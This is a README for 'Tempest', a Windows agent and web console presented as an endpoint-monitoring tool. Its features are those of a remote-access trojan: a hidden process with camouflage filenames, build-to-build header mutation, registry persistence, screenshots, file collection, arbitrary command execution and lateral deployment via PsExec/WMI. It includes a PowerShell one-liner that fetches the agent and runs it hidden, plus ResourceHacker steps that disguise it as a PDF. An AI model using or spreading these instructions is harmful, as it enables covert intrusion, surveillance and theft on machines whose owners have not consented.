Deploy a lightweight Go agent to every Windows endpoint. Watch each device report in to a single console in real time β security posture, running processes, open connections, persistence entries, and screenshots β then respond: isolate, terminate, remediate, or roll back, all without touching the keyboard of the target machine.
π Quickstart Β· β¨ Features Β· βοΈ Architecture Β· π Console Guide Β· π οΈ Build Agent Β· π¦ Packaging Β·
Blue teams and security operators often have no single pane of glass for what's happening across their Windows endpoints right now. You know an alert fired, but you don't know if the process is still running, which account spawned it, or whether persistence was established β without SSHing in or deploying a full EDR suite.
Tempest is a self-hosted, lightweight alternative: a compact Go agent runs silently on each endpoint, streams telemetry to a central Next.js console, and gives the operator live visibility plus a direct response capability β all from a browser tab, with no third-party cloud required.
β οΈ Tempest is an authorized-use-only security operations tool. Deploy it only on networks and devices you own or are explicitly permitted to monitor. See DISCLAIMER.md.
Agent (Go, Windows)
- π€« Silent deployment β runs as a hidden background process; camouflage
filenames (
antivirus.exe/avupdater.exe) for realistic lab environments. - π©Ί Security posture scoring β device auto-classified A/B/C/D based on privilege level and real-time AV status (Windows Defender telemetry).
- π‘ Continuous telemetry β heartbeat, OS info, local IP, uptime, logged-in user, admin status, AV state, software inventory, listening ports, active network connections, persistence entries (registry Run keys, Startup folder, scheduled tasks, services, Winlogon).
- π Automatic alerts β new account creation, privilege escalation, and network/posture anomalies surfaced as push alerts to the console.
- π Encrypted transport β AES-256 encrypted payloads; payload header mutation on each build for uniqueness.
- π Self-persistence β optional registry persistence and watchdog process to survive reboots and accidental termination.
- π οΈ In-field rebuild β console can cross-compile a fresh agent binary with the correct collector URL embedded at runtime (no manual Go setup on endpoints).
Console (Next.js + PostgreSQL)
- π₯οΈ Live device grid β all registered endpoints with posture class, last seen, OS, IP, user, and AV status; auto-refreshes every 15 s.
- π Alert centre β timestamped, severity-tagged alerts from all agents in one view.
- π Deep-dive per device β System Overview Β· Software Audit Β· Listening Ports Β· Active Connections Β· Persistence & Autorun Β· Command History.
- πΈ Live screenshot β on-demand capture and gallery, stored on the server.
- π Remote file manager β browse the endpoint's filesystem, collect individual files to the server.
- βοΈ Process control β live process list with PID, name, CPU, user; kill any process remotely.
- π Network isolation β one click cuts all outbound/inbound traffic on the target (Windows Firewall block-all), keeping only the collector tunnel open; reversible from the console.
- π§ Agent control β dormant mode (pause telemetry), re-enable, full uninstall + self-cleanup, or rollback to a previous binary.
- π±οΈ Remote RDP / privilege panel β enable RDP with NLA, manage local admin group, lock screen, force reboot or shutdown.
- π» Audit console β send arbitrary
cmd.exe/ PowerShell commands, see output inline; full per-device command history. - π Network discovery β passive ARP + active ICMP/port sweep of the operator's local subnets; one-click agent deployment to discovered hosts via PsExec, WMI, or SCP.
- π― Simulation & Compliance Map β run/replay attack simulations and map findings against a compliance checklist.
- π οΈ In-console agent builder β compile a custom
tempest_agent.exe(with embedded URL) directly from the browser; file served for immediate download and lateral deployment.
Add screenshots to
assets/and uncomment the lines below.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Operator Browser β
β Next.js Console (port 3000) β
ββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββ
β REST API (HTTP/HTTPS)
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Next.js API Routes (src/web) β
β /api/agent/* β agent-facing (register, heartbeat, β
β upload, command-result)β
β /api/admin/* β operator-facing (devices, alerts, β
β commands, build-agent) β
ββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββ
β pg driver
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PostgreSQL (tempest_db) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Windows Endpoint A β tempest_agent.exe βββ
Windows Endpoint B β tempest_agent.exe βββ€ββ HTTP polling βββΊ /api/agent/*
Windows Endpoint C β tempest_agent.exe βββ
The agent polls outbound only β the server never initiates a connection to an endpoint. This means agents behind NAT or strict firewalls work without port-forwarding, as long as they can reach the collector URL on port 3000.
| Component | Requirement |
|---|---|
| Console server | Node.js 20+, PostgreSQL 14+, any OS (Linux recommended) |
| Agent target | Windows 10 / 11, 64-bit |
| Operator browser | Any modern browser (Chrome / Edge / Firefox) |
| Agent build (optional) | Go 1.21+ on the console server for in-console compilation |
# Create the database (PostgreSQL must be running)
psql -U postgres -c "CREATE DATABASE tempest_db;"
# Run the schema repair/init script
psql -U postgres -d tempest_db -f src/web/_run/fix_database.sqlOr on Windows, double-click src/web/_run/fix_database.bat.
cd src/web
# Copy and fill environment variables
cp .env.example .env
# Edit .env:
# DATABASE_URL="postgresql://postgres:<password>@localhost:5432/tempest_db"
# ADMIN_PRIVATE_KEY_HEX="<your-32-byte-hex-key>"
npm install
npm run dev # http://localhost:3000
# or for production:
npm run build && npm startOn Windows, double-click src/web/start.bat (wraps npm start with a
titled console window).
Option A β Pre-built binary (lab / quick test)
- Open the console at
http://<server>:3000. - Navigate to Build & Deploy Agent.
- Enter the collector URL (e.g.
http://192.168.1.10:3000), click Compile & Download βtempest_agent.exeis downloaded. - Copy
tempest_agent.exeto the target Windows machine and run it (double-click, or.\tempest_agent.exein CMD). - The device appears in the Devices grid within seconds.
Option B β Build from source (recommended for production)
cd src/agent
go build -ldflags "-s -w -H=windowsgui -X main.DefaultCollectorURL=http://<server>:3000" \
-o tempest_agent.exeCopy the resulting tempest_agent.exe to target endpoints and execute.
From the console, open a device β Agent Control tab β Install Persistence. The agent will write a registry Run key and spawn a watchdog process so it survives reboots automatically.
| Column | Meaning |
|---|---|
| Class | Posture class: A (admin, no AV) Β· B (user, no AV) Β· C (admin, AV active) Β· D (user, AV active) |
| Last seen | Seconds since last heartbeat; turns red when agent appears offline |
| AV | Windows Defender real-time protection state |
| User | Currently logged-in user |
Click any device row to open its deep-dive panel.
| Tab | What you see |
|---|---|
| π System Overview | OS, uptime, IP, security score, Defender telemetry, privilege controls |
| π¦ Software Audit | Installed programs list |
| π Listening Ports | All TCP/UDP ports the endpoint is bound to |
| π Active Connections | Live netstat β remote IP, state, PID |
| π Persistence | Registry Run, Startup folder, scheduled tasks, services, Winlogon entries |
| π Command History | Every command sent to this device and its result |
| Tab | What you can do |
|---|---|
| πΈ Live Screenshot | Capture now, browse history gallery |
| π File Manager | Browse filesystem tree, collect files to server |
| βοΈ Process Control | View live process list, kill by PID |
| π§ Agent Control | Dormant mode, re-enable, uninstall, rollback binary |
| π₯οΈ RDP & Privileges | Enable RDP/NLA, manage local admins, lock screen, reboot/shutdown |
| π» Audit Console | Run cmd / PowerShell commands inline |
Navigate to Network Discovery from the top nav. Tempest sweeps the operator's visible subnets (ARP + ICMP + quick port probe), lists each host with open port fingerprint, then offers one-click agent deployment via PsExec, WMI, or SCP depending on what's reachable.
The in-console builder (/api/admin/build-agent) cross-compiles the Go
agent source in src/agent/ using the collector URL you enter, outputs
tempest_agent.exe to src/web/public/, and serves it immediately for
download or direct pull by discovered hosts:
# Pull and run from a target (PowerShell, one-liner)
$url = 'http://<server>:3000/tempest_agent.exe'
Invoke-WebRequest -Uri $url -OutFile 'C:\Users\Public\tempest_agent.exe'
Start-Process 'C:\Users\Public\tempest_agent.exe' -WindowStyle HiddenThe builder requires Go 1.21+ installed on the console server.
- Change
ADMIN_PRIVATE_KEY_HEXbefore any deployment β this key protects agentβserver payload integrity. Generate a new one:openssl rand -hex 32 - The console has no built-in authentication. Place it behind a VPN, reverse proxy with HTTP Basic Auth, or a private network segment. Do not expose port 3000 to the public internet.
- Agent traffic is AES-256 encrypted but not TLS by default. For production, put the console behind an HTTPS reverse proxy (Nginx/Caddy).
- v4.0 (current) β Go agent with AES-256 transport, posture scoring, network isolation, in-console build, network discovery, file manager, remote commands.
- v4.1 β HTTPS/TLS support built-in, console authentication (JWT), alert webhooks (Slack / email).
- v4.2 β Linux agent port, macOS agent port, multi-operator roles.
- v5.0 β Agent signing & attestation, certificate pinning, full audit trail export (PDF/CSV).
The packaging/ folder contains tooling for disguising the agent binary
as a convincing decoy file (e.g. a PDF document) for authorized phishing
simulations and physical red-team exercises.
packaging/
βββ tempest_agent.exe base agent binary (before repackaging)
βββ ResourceHacker.exe icon / resource editor
βββ pdf.ico PDF icon β disguise agent as a document
βββ commands.txt ready-to-use ResourceHacker commands
βββ STAGING_GUIDE.md full workflow documentation
Quick example β swap the icon and rename for the engagement:
ResourceHacker.exe -open tempest_agent.exe ^
-save "Company_Policy_2026.exe" ^
-action addoverwrite -res pdf.ico -mask ICONGROUP,1,1033See packaging/STAGING_GUIDE.md for the
complete workflow, temp-storage internals, and cleanup procedure.
β οΈ Use only in engagements with explicit written authorization. See DISCLAIMER.md.
Issues and PRs welcome β see CONTRIBUTING.md.
Found a security issue in the platform? Report it via SECURITY.md β please don't open a public issue.
Tempest is for authorized security monitoring and educational use only. Deploy and use this tool only on networks and devices you own or have explicit written permission to monitor. See DISCLAIMER.md.
MIT Β© Abil Khosim.
Cybersecurity Specialist
Tempest is an original project by Abil Khosim, an independent security tool by Abil Khosim (NoxNull). Released under the MIT License β Β© 2026 Abil Khosim. Please keep this attribution when reusing or redistributing.
Calm at the center. Total visibility at the edge. β‘